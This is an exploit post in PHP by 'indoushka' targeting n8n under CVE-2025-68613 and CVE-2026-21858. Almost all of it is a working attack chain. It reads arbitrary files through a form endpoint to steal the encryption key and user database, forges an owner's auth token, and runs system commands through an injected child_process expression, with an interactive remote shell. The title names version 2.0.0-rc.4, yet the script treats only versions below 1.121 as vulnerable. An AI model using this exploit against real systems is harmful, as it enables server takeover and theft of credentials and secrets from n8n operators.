=============================================================================================================================================
| # Title     : n8n 2.0.0-rc.4 Full chain exploit vulnerability                                                                             |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : https://docs.n8n.io/release-notes/                                                                                          |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/213586/ & CVE-2025-68613, CVE-2026-21858

[+] Summary    : a PHP port of a research exploit targeting n8n, chaining multiple vulnerabilities to ultimately achieve remote command execution (RCE).	

[+] PoC : php poc.php

<?php

define('BANNER', "
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
║                                                               ║
║     by indoushka                                              ║
╚═══════════════════════════════════════════════════════════════╝
");

define('RCE_PAYLOAD', '={{ (function() { var require = this.process.mainModule.require; var execSync = require("child_process").execSync; return execSync("CMD").toString(); })() }}');

class Ni8mare {
    private $base_url;
    private $form_url;
    private $session;
    private $admin_token;
    
    public function __construct($base_url, $form_path) {
        $this->base_url = rtrim($base_url, '/');
        $this->form_url = $this->base_url . '/' . ltrim($form_path, '/');
        $this->session = $this->init_session();
        $this->admin_token = null;
    }
    
    private function init_session() {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Ni8mare/1.0)');
        return $ch;
    }
    
    private function close_session() {
        if ($this->session) {
            curl_close($this->session);
        }
    }
    
    private function randstr($n = 12) {
        $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
        $result = '';
        for ($i = 0; $i < $n; $i++) {
            $result .= $chars[random_int(0, strlen($chars) - 1)];
        }
        return $result;
    }
    
    private function randpos() {
        return [random_int(100, 600), random_int(100, 600)];
    }
    
    private function api($method, $path, $options = []) {
        $url = $this->base_url . $path;
        $ch = curl_init($url);
        
        $headers = ['Content-Type: application/json'];
        if ($this->admin_token) {
            $headers[] = 'Cookie: n8n-auth=' . $this->admin_token;
        }
        
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout'] ?? 30);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        
        if (isset($options['json'])) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($options['json']));
        }
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code >= 200 && $http_code < 300) {
            return json_decode($response, true);
        }
        
        return null;
    }
    
    private function lfi_payload($filepath) {
        return [
            'data' => [],
            'files' => [
                'f-' . $this->randstr(6) => [
                    'filepath' => $filepath,
                    'originalFilename' => $this->randstr(8) . '.bin',
                    'mimetype' => 'application/octet-stream',
                    'size' => random_int(10000, 100000)
                ]
            ]
        ];
    }
    
    private function build_nodes($command) {
        $trigger_name = 'T-' . $this->randstr(8);
        $rce_name = 'R-' . $this->randstr(8);
        $result_var = 'v' . $this->randstr(6);
        $payload_value = str_replace('CMD', addslashes($command), RCE_PAYLOAD);
        
        $nodes = [
            [
                'parameters' => [],
                'name' => $trigger_name,
                'type' => 'n8n-nodes-base.manualTrigger',
                'typeVersion' => 1,
                'position' => $this->randpos(),
                'id' => 't-' . $this->randstr(12)
            ],
            [
                'parameters' => [
                    'values' => [
                        'string' => [[
                            'name' => $result_var,
                            'value' => $payload_value
                        ]]
                    ]
                ],
                'name' => $rce_name,
                'type' => 'n8n-nodes-base.set',
                'typeVersion' => 2,
                'position' => $this->randpos(),
                'id' => 'r-' . $this->randstr(12)
            ]
        ];
        
        $connections = [
            $trigger_name => [
                'main' => [[
                    'node' => $rce_name,
                    'type' => 'main',
                    'index' => 0
                ]]
            ]
        ];
        
        return [$nodes, $connections, $trigger_name, $rce_name];
    }
        
    public function read_file($filepath, $timeout = 30) {
        $payload = $this->lfi_payload($filepath);
        
        $ch = $this->session;
        curl_setopt($ch, CURLOPT_URL, $this->form_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
        curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_HEADER, false);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if ($http_code >= 200 && $http_code < 300 && !empty($response)) {
            return $response;
        }
        
        return null;
    }
    
    public function get_version() {
        $resp = $this->api('GET', '/rest/settings', ['timeout' => 10]);
        if (!$resp) {
            return ['0.0.0', false];
        }
        
        $version = $resp['data']['versionCli'] ?? '0.0.0';
        $parts = explode('.', $version);
        $major = intval($parts[0] ?? 0);
        $minor = intval($parts[1] ?? 0);
        
        $vuln = $major < 1 || ($major == 1 && $minor < 121);
        return [$version, $vuln];
    }
    
    public function get_home() {
        $data = $this->read_file('/proc/self/environ');
        if (!$data) {
            return null;
        }
        
        $vars = explode("\x00", $data);
        foreach ($vars as $var) {
            if (strpos($var, 'HOME=') === 0) {
                return substr($var, 5);
            }
        }
        
        return null;
    }
    
    public function get_key($home) {
        $data = $this->read_file($home . '/.n8n/config');
        if (!$data) {
            return null;
        }
        
        $config = json_decode($data, true);
        return $config['encryptionKey'] ?? null;
    }
    
    public function get_db($home) {
        return $this->read_file($home . '/.n8n/database.sqlite', 120);
    }
    
    public function extract_admin($db) {
        $temp_file = tempnam(sys_get_temp_dir(), 'n8n_db_');
        file_put_contents($temp_file, $db);
        
        try {
            $pdo = new PDO("sqlite:$temp_file");
            $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            
            $stmt = $pdo->query("SELECT id, email, password FROM user WHERE role='global:owner' LIMIT 1");
            $row = $stmt->fetch(PDO::FETCH_ASSOC);
            
            unlink($temp_file);
            
            if ($row) {
                return [$row['id'], $row['email'], $row['password']];
            }
        } catch (Exception $e) {
            if (file_exists($temp_file)) {
                unlink($temp_file);
            }
        }
        
        return null;
    }
    
    public function forge_token($key, $uid, $email, $pw_hash) {

        $key_part = '';
        for ($i = 0; $i < strlen($key); $i += 2) {
            $key_part .= $key[$i];
        }
        
        $secret = hash('sha256', $key_part);
        $hash_input = $email . ':' . $pw_hash;
        $h = substr(base64_encode(hash('sha256', $hash_input, true)), 0, 10);

        $header = base64_encode(json_encode(['alg' => 'HS256', 'typ' => 'JWT']));
        $payload = base64_encode(json_encode(['id' => $uid, 'hash' => $h]));
        $signature = base64_encode(hash_hmac('sha256', "$header.$payload", $secret, true));
        
        $this->admin_token = "$header.$payload.$signature";
        return $this->admin_token;
    }
    
    public function verify_token() {
        return $this->api('GET', '/rest/users', ['timeout' => 10]) !== null;
    }
        
    public function rce($command) {
        list($nodes, $connections, $trigger_name, $rce_name) = $this->build_nodes($command);
        $wf_name = 'wf-' . $this->randstr(16);
        
        $workflow = [
            'name' => $wf_name,
            'active' => false,
            'nodes' => $nodes,
            'connections' => $connections,
            'settings' => []
        ];
        
        $resp = $this->api('POST', '/rest/workflows', ['json' => $workflow, 'timeout' => 10]);
        if (!$resp) {
            return null;
        }
        
        $wf_id = $resp['data']['id'] ?? null;
        if (!$wf_id) {
            return null;
        }
        
        $run_data = [
            'workflowData' => [
                'id' => $wf_id,
                'name' => $wf_name,
                'active' => false,
                'nodes' => $nodes,
                'connections' => $connections,
                'settings' => []
            ]
        ];
        
        $resp = $this->api('POST', "/rest/workflows/$wf_id/run", ['json' => $run_data, 'timeout' => 30]);
        if (!$resp) {
            $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
            return null;
        }
        
        $exec_id = $resp['data']['executionId'] ?? null;
        $result = $exec_id ? $this->get_result($exec_id) : null;
        
        $this->api('DELETE', "/rest/workflows/$wf_id", ['timeout' => 5]);
        return $result;
    }
    
    private function get_result($exec_id) {
        $resp = $this->api('GET', "/rest/executions/$exec_id", ['timeout' => 10]);
        if (!$resp) {
            return null;
        }
        
        $data = $resp['data']['data'] ?? null;
        if (!$data) {
            return null;
        }
        
        // Handle both cases: string JSON or already decoded array
        if (is_string($data)) {
            $parsed = json_decode($data, true);
        } else {
            $parsed = $data;
        }
        
        if (!is_array($parsed)) {
            return null;
        }
        
        // Search for the result in reverse order
        for ($i = count($parsed) - 1; $i >= 0; $i--) {
            if (isset($parsed[$i]) && is_string($parsed[$i])) {
                $item = $parsed[$i];
                if (strlen($item) > 3 && !in_array($item, ['success', 'error'])) {
                    return trim($item);
                }
            }
        }
        
        return null;
    }
     
    public function pwn() {
        echo "[+] HOME directory... ";
        $home = $this->get_home();
        if (!$home) {
            echo "FAILED\n";
            return false;
        }
        echo "OK: $home\n";
        
        echo "[+] Encryption key... ";
        $key = $this->get_key($home);
        if (!$key) {
            echo "FAILED\n";
            return false;
        }
        echo "OK: " . substr($key, 0, 8) . "...\n";
        
        echo "[+] Database... ";
        $db = $this->get_db($home);
        if (!$db) {
            echo "FAILED\n";
            return false;
        }
        echo "OK: " . strlen($db) . " bytes\n";
        
        echo "[+] Admin user... ";
        $admin = $this->extract_admin($db);
        if (!$admin) {
            echo "FAILED\n";
            return false;
        }
        list($uid, $email, $pw) = $admin;
        echo "OK: $email\n";
        
        echo "[+] Token forge... ";
        $this->forge_token($key, $uid, $email, $pw);
        echo "OK\n";
        
        echo "[+] Admin access... ";
        if (!$this->verify_token()) {
            echo "DENIED\n";
            return false;
        }
        echo "GRANTED!\n";
        
        echo "[+] Cookie: n8n-auth=" . $this->admin_token . "\n";
        return true;
    }
    
    public function __destruct() {
        $this->close_session();
    }
}

function run_read($exploit, $path, $output = null) {
    $data = $exploit->read_file($path);
    if (!$data) {
        echo "[-] File read failed\n";
        return;
    }
    
    echo "[+] " . strlen($data) . " bytes\n";
    
    if ($output) {
        file_put_contents($output, $data);
        echo "[+] Saved to: $output\n";
        return;
    }
    
    echo $data . "\n";
}

function run_cmd($exploit, $cmd) {
    echo "[+] RCE... ";
    $out = $exploit->rce($cmd);
    if (!$out) {
        echo "FAILED\n";
        return;
    }
    echo "OK\n\n";
    echo $out . "\n";
}

function run_shell($exploit) {
    echo "[*] Interactive mode (type 'exit' to quit)\n";
    
    while (true) {
        echo "\033[91mn8n\033[0m> ";
        $cmd = trim(fgets(STDIN));
        
        if (empty($cmd) || $cmd === 'exit') {
            break;
        }
        
        $out = $exploit->rce($cmd);
        if ($out) {
            echo $out . "\n";
        }
    }
}

function parse_args() {
    global $argv;
    
    if (count($argv) < 3) {
        echo "Usage: php " . basename($argv[0]) . " <url> <form_path> [options]\n";
        echo "Options:\n";
        echo "  --read PATH     Read arbitrary file\n";
        echo "  --cmd CMD       Execute single command\n";
        echo "  --output FILE   Save LFI output to file\n";
        echo "\nExample:\n";
        echo "  php exploit.php http://localhost:5678 /form/upload --read /etc/passwd\n";
        echo "  php exploit.php http://localhost:5678 /form/upload --cmd id\n";
        echo "  php exploit.php http://localhost:5678 /form/upload\n";
        exit(1);
    }
    
    $args = [
        'url' => $argv[1],
        'form' => $argv[2],
        'read' => null,
        'cmd' => null,
        'output' => null
    ];
    
    for ($i = 3; $i < count($argv); $i++) {
        if ($argv[$i] === '--read' && isset($argv[$i + 1])) {
            $args['read'] = $argv[++$i];
        } elseif ($argv[$i] === '--cmd' && isset($argv[$i + 1])) {
            $args['cmd'] = $argv[++$i];
        } elseif ($argv[$i] === '--output' && isset($argv[$i + 1])) {
            $args['output'] = $argv[++$i];
        }
    }
    
    return $args;
}

function main() {
    echo BANNER . "\n";
    
    $args = parse_args();
    $exploit = new Ni8mare($args['url'], $args['form']);
    
    list($version, $vuln) = $exploit->get_version();
    echo "[*] Target: " . $args['url'] . "\n";
    echo "[*] Version: $version (" . ($vuln ? "VULN" : "SAFE") . ")\n";
    
    if ($args['read']) {
        run_read($exploit, $args['read'], $args['output']);
        return;
    }
    
    if (!$exploit->pwn()) {
        return;
    }
    
    if ($args['cmd']) {
        run_cmd($exploit, $args['cmd']);
        return;
    }
    
    run_shell($exploit);
}

if (php_sapi_name() === 'cli') {
    main();
} else {
    echo "This script must be run from command line\n";
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================